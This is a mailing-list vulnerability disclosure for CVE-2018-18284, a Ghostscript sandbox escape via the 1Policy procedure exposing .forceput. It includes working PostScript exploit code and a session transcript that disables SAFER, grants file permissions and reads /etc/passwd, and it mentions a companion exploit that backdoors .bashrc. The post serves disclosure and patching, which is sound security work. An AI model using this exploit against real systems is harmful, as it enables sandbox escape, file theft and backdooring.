Date: Tue, 16 Oct 2018 11:06:14 -0700 From: Tavis Ormandy <taviso@...gle.com> To: oss-security@...ts.openwall.com Subject: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696> is CVE-2018-18284, another ghostscript sandbox escape. Because procedures in postscript are just executable arrays, all system procedures need to be marked as executeonly, so that users cannot peek at their internals with array operators. We have also recently learned that they must be marked as pseudo-operators, otherwise their contents might leak to error handlers. That makes sense, unless the procedure itself is dangerous - in that case it must be hidden. 1Policy is a procedure that was correctly marked as executeonly and made a pseudo-operator, but was basically just a wrapper around .forceput. Here is how to exploit it: /.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def Once you have access to .forceput, you can basically do whatever you want, see the exploit for CVE-2018-17961 a full example of backdooring .bashrc. Here is a simpler repro, just reading /etc/passwd: $ gs -dSAFER -sDEVICE=ppmraw GPL Ghostscript 9.25 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def GS>systemdict /SAFER false .forceput GS>systemdict /userparams get /PermitFileControl [(*)] .forceput GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput GS>systemdict /userparams get /PermitFileReading [(*)] .forceput GS>(/etc/passwd) (r) file 1024 string readline pop == (root:x:0:0:root:/root:/bin/bash) GS> This patch solves it: http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b Side note: I'm done looking at ghostscript for now, but still *strongly* recommend that we deprecate untrusted postscript and disable ghostscript coders by default in policy.xml. Thanks, Tavis.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.